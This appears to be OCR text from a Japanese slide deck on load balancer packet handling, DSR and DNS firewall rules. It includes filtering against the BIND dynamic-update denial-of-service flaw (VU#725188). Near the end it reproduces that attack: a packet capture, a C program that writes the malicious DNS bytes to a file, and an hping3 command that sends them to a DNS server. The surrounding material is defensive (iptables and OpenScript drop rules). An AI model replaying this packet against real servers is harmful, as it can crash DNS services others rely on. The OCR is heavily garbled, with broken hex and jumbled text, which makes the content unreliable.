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IN LINE & DSRO)PACKET Walkthrough Gion

208.46.221.240

Client
208.46.221.240

L3-Switch

Serverlron

Mgmt: 208.46.221.228
Gw: 208.46.221.225
VIP: 208.46.221.230

Serverlron
Mgmt: 208.46.221.228

Gw: 208.46.221.225

VIP: 208.46.221.230

server source—ip 10.229.0.254

Server01 Server02
10.229.0.206 10.229.0.207
Loopback Loopback
208.46.221.230
—~ = 208.46.221.230

192.168.0.101 192.168.0.102 5



TOS Bit L3 DSRfERk k2L

@ PACKET Walkthrough
gt

@0xo 204.44.1.200 144.49.0.250
@ Ox4  204.44.1.200 58.81.111.249

(4) o (3) Ox4  204.44.1.200 58.81.111.249
2 a‘ (4) X0 144.49.0.250 204.44.1.200

L 3—Switch

L3-Switch

server® iptable rewrite rule T
58 5t 7 144.49.0.250(12 %

L2—-Switch

e o s 40,0222 FreeBSD FH 0D Reference module
VIP: 144450250 [X. Yahoo!H B L TLYS,
Server01 Server02
58.81.111.249 58.81.111.250
Loopback Loopback

144.49.0.250 144.49.0.250
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LB DNS Firewall#8E Trasg A

SeverIronADX (config-csw—-dns—-rule-TEST)#

query-dnssec—ok
query-name

query-rd-flag
query-type
““snip~"

<cr>

Flag (MD—&B) =R 1=V

v

FDHERIZE - T,
VIRYRDITERZEZ S
v’ rate limit ZH\ [T 5
v’ etc...

SeverIronADX (config—csw-dns—rule-TEST)#fquery-type
DECIMAL

a
aaaa
cert

dns—-type-val
Address Record

[Pv6 Address Record
Certificate Record

chame Canonical Name Record

dnskey

ds

Ipseckey

key
loc
mx
ns

ptr

DNS Key Record
Delegation Signer
IPSEC Key Record

Key Record

Location Record

Mai|l Exchange Record
Name Server Record
Next-Secure Record
Pointer Record
DNSSEC Signature
Start of Authority Record
Service l|ocator

Text Record

QNAME/QTYPE R 1= 1) .




Bl korori.pcap [Wires
Eile Edit WView Go

Vulnerability Note VU#725188

Destination
10.210.40.1

Source
10.210.40.253

Time
1 0.000000

Protocol Length
DNS

1)

Frame 1: 93 bytes on wire (744 bits),
Ethernet II, Src:
Internet Protocol version 4,

93 bytes captured (744 bits)

src: 10.210.40.253 (10.210.40.253), Ds{

| [+ =

Source port:
Destination port:
Length: 59
+ Checksum: Oxblad [validation disabled]
Domain Name System (query)
Transaction ID: Oxf497

59070 (59070)
domain (53)

-l Flags: 0x2800 (Dynamic update)
0... vvve vuee «... = Response: Message i5 a query
= Opcode: Dynamic update (5)
B = Truncated: Message is not truncated
R I = Recursion desired: Don't do query recursi
00, ... = Z: reserved (0)
cirs sae. .20 ... = Non-authenticated data: Unacceptable
Zones: 1
Prerequisites: 1
Updates: 1
additional RRs: O
+ Zone
# Prerequisites
+# Updates
0000 00 50 56 B9 Be al 00 50 56 B9 Be 96 08 00 45 00 PV....P WV
0010 00 4f 00 00 40 00 40 11 d3 fc_0a d2 28 fd 0a d2 .0..8. &
0020 28 01 (.
DD Dl 01 00 00 09 Ec .......

L7 SLBEERFAD XU ) T REETOH

Z= |SC BIND 9 vulnerable to denial of service via dynamic update request

Info
93 Dynamic update 504 localhost

Vmware_89:82:96 (00:50:56:89:82:96), Dst: Vmware_89:8e:al (00:50:56:89:8e:al)

use OS_UDP;
use OS_SLB;

sub UDP_CLIENT_DATA{
$payload = OS_UDP::payload;
$mydata = unpack( "b*", $payload);
$mystring = substr ($mydata, 18, 4);
if ($mystring == "0101") {
OS_SLB::forward("30");
} else {
OS_SLB::forward("40");

LB@) OpenScriptt

[kkono@nsl ~]# iptables -A INPUT -p udp —-dport 53 -j DROP -m u32 --u32 '30>>27&0xF=5'

()| User Datagram Protocol (udp), 8 bytes

Packets: 1 Displayed: 1 Marked: 0 Load time: 0:00.187

Profile: Default
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[ Follow UDP Stream

==

Stream Content

char peer0_0[] = {

0x19, 0x00, Ox00, 0x00, Ox02, O0x29, 0x00, Ox00, FO”OW UDP Stream%

0x00, Ox00, OxcB, Ox00, Oxd4, Ox5e, Ox25, OxO0f, |

0x00, 0x06, Ox40, Oxdd, Ox00, Ox17., Ox45. Oxbb. C Array"@ﬁﬁ:

Ox00 %;

Entire conversation (25 bytes)

| Find || Save As || Pri

Help |

(S

root@ubO0:~/testdns# vi korori.c

#include <stdio.h>

main( )

{

FILE *fp;

fp=fopen(“korori.dns", "w");

fprintf(fp, "%Cc%Cc%Cc%c%c%cr%crkc", 0x19, 0x00, Ox00, 0x00, 0x02, 0x29, 0x00, Ox00);
fprintf(fp, "%Cc%Cc%c%c%cr%crkcrc”, 0x00, 0x00, Oxc8, 0x00, Oxd4, Oxbe, 0x25, OxO0f);
fprintf(fp, "%Cc%Cc%Cc%c%cr%crkcrc", 0x00, 0x06, 0x40, Ox4d, Ox00, Ox17, Ox45, Oxbb);
fprintf(fp, "%c", 0x00);

fclose(fp);

}
“korori.c" [New] 12L, 350C written

root@ub00:~/testdns# gcc korori.c

root@ub00:~/testdns# ./a.out

root@ub00:~/testdns# iptables -A OUTPUT -p icmp -icmp-type port-unreachable -j DROP
root@ub00:~/testdns# hping3 -2 -p 53 -E korori.dns -d 25 10.210.40.1 ¢c 1

[15 T2, 3-wayhandshakeMWAEZLTCPT= & . python scapyZ{# > T id’]
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